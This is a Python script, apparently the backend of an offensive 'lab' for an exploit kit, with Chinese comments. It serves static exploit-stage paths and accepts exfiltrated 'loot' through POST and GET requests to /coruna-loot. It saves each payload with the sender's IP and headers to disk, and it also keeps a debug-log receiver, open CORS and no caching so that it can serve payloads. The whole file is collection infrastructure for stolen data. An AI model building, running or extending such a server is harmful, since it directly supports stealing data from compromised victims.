#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
hdios lab backend  (c8 专用，独立于 coruna1)
  - 静态服务: /  /details/  /pe/  /gooll/  /go/  /static/  /config
  - 回传接收: POST /coruna-loot      -> _loot/loot_*.txt
  - 调试接收: GET/POST /logs         -> _dbg/log_*.txt
用法: python3 backend.py [port]   (默认 8898)
"""
import http.server, socketserver, os, sys, datetime, json

ROOT = os.path.dirname(os.path.abspath(__file__))
LOOT = os.path.join(ROOT, "_loot")
DBG = os.path.join(ROOT, "_dbg")
os.makedirs(LOOT, exist_ok=True)
os.makedirs(DBG, exist_ok=True)


def ts():
    return datetime.datetime.now().strftime("%Y%m%d_%H%M%S_%f")


class H(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        kw['directory'] = ROOT
        super().__init__(*a, **kw)

    def log_message(self, fmt, *args):
        pass

    def guess_type(self, path):
        b = os.path.basename(path.split('?')[0])
        if '.' not in b:
            return 'text/html'
        return super().guess_type(path)

    def end_headers(self):
        try:
            self.send_header('Cache-Control', 'no-store, no-cache, must-revalidate, max-age=0')
            self.send_header('Pragma', 'no-cache')
            self.send_header('Expires', '0')
        except Exception:
            pass
        super().end_headers()

    def _ok(self, body=b'ok', ctype='text/plain'):
        self.send_response(200)
        self.send_header('Content-Type', ctype)
        self.send_header('Content-Length', str(len(body)))
        self.send_header('Access-Control-Allow-Origin', '*')
        self.end_headers()
        self.wfile.write(body)

    def _save(self, d, prefix, path, hdrs, body):
        try:
            with open(os.path.join(d, "%s_%s.txt" % (prefix, ts())), 'wb') as f:
                f.write(("PATH %s\nIP %s\nHDRS %s\n\nBODY\n" % (
                    path, self.client_address[0], dict(hdrs))).encode())
                f.write(body if isinstance(body, bytes) else body.encode())
            ip = self.headers.get('CF-Connecting-IP') or self.client_address[0]
            print("[%s] %s  %dB  from %s" % (prefix.upper(), path[:90], len(body), ip))
        except Exception as e:
            print("save err", e)

    def do_GET(self):
        if self.path.startswith('/logs'):
            self._save(DBG, 'log', self.path, self.headers, b'')
            return self._ok(b'ok')
        if self.path.startswith('/coruna-loot'):
            self._save(LOOT, 'loot', self.path, self.headers, b'')
            return self._ok(b'{"ok":true}', 'application/json')
        return super().do_GET()

    def do_POST(self):
        try:
            n = int(self.headers.get('Content-Length') or 0)
        except Exception:
            n = 0
        body = self.rfile.read(n) if n else b''
        if self.path.startswith('/logs'):
            self._save(DBG, 'log', self.path, self.headers, body)
            return self._ok(b'ok')
        if self.path.startswith('/coruna-loot'):
            self._save(LOOT, 'loot', self.path, self.headers, body)
            return self._ok(b'{"ok":true}', 'application/json')
        self._save(LOOT, 'post', self.path, self.headers, body)
        return self._ok(b'ok')


if __name__ == '__main__':
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 8898
    print("=" * 60)
    print("  hdios lab backend -> 0.0.0.0:%d" % port)
    print("  root : %s" % ROOT)
    print("  loot : %s" % LOOT)
    print("  dbg  : %s" % DBG)
    print("=" * 60)
    socketserver.ThreadingTCPServer.allow_reuse_address = True
    with socketserver.ThreadingTCPServer(("0.0.0.0", port), H) as s:
        s.serve_forever()